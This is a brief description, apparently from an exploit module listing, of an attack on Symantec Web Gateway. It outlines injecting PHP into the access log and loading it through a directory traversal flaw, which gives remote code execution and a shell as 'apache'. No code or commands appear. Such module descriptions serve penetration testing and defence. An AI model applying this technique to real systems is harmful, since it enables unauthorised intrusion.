Description

This module exploits a vulnerability found in Symantec Web Gateway's HTTP service. By injecting PHP code in the access log, it is possible to load it with a directory traversal flaw, which allows remote code execution under the context of 'apache'. Please note that it may take up to several minutes to retrieve access_log, which is about the amount of time required to see a shell back.
